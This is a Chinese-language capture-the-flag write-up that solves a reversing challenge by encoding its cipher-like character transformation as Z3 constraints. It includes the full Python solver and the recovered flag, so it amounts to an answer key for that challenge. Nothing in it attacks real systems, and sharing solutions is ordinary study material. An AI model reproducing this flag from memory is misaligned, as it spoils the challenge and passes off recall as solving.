# 存取的時候index要用BitVecVal,寫入的時候要用Store
接下來我們要做的,就是根據題目的規則把flag運算之後加上約束:
首先我們先將Z3的Solver
給建起來:
s = Solver()
由於我們知道最終flag的格式,我們可以先將此格式的約束加上去:
for i, c in enumerate(b"KCTF{"):
s.add(flag[i] == c)
s.add(flag[-1] == ord("}"))
接下來是重頭戲,我們首先先根據題目的邏輯,遍歷flag的每個char:
for i in range(len(target)):
總共可以看到兩個判斷:
flag[i] <= 64 || flag[i] > 90
還有:
flag[i] <= 96 || flag[i] > 122
我們將他用Z3表達出來:
cond1 = Or(flag[i] <= 64, flag[i] > 90)
cond2 = Or(flag[i] <= 96, flag[i] > 122)
接來根據題目把if的邏輯建起來:
flag[i] = If(cond1, If(cond2, flag[i], -37 - flag[i]), -101 - flag[i])
Note: If(condition, 成立時的回傳值, 不成立時的回傳值)
再減掉32:
flag[i] = flag[i] - 32
加上約束:
s.add(flag[i] == target[i])
接下來Z3就會幫我們把flag求出來了!
最後,我們只需確定s.check()
是sat
,再將s.model
裡的答案全部拿出來就可以了:
assert s.check() == sat
m = s.model()
flag = bytes([m[x].as_long() for x in flag_init]).decode()
print(flag)
Note:
flag_init
是最一開始flag
的flag.copy()
,用來記錄每個變數,方便最後依照順序print出來,這個部分方法很多,也可以最後再依照名稱做sorting
Full script:
from z3 import *
def main():
target = b"08'5[Z'Y:H3?X2K3V)?D2G3?H,N6?G$R(G]"
flag = [BitVec(f"f_{i}", 8) for i in range(len(target))]
flag_init = flag.copy()
s = Solver()
for i, c in enumerate(b"KCTF{"):
s.add(flag[i] == c)
s.add(flag[-1] == ord("}"))
for i in range(len(target)):
cond1 = Or(flag[i] <= 64, flag[i] > 90)
cond2 = Or(flag[i] <= 96, flag[i] > 122)
flag[i] = If(cond1, If(cond2, flag[i], -37 - flag[i]), -101 - flag[i])
flag[i] = flag[i] - 32
s.add(flag[i] == target[i])
assert s.check() == sat
m = s.model()
flag = bytes([m[x].as_long() for x in flag_init]).decode()
print(flag)
if __name__ == '__main__':
main()
flag: KCTF{aTbAsH_cIpHeR_wItH_sOmE_tWiSt}
Z3真的是很強大的工具,只要借助Z3,不太需要太多思考,就可以輕鬆把問題解掉。
也蠻高興的,這次終於有機會在實戰中應用出來了~
]]>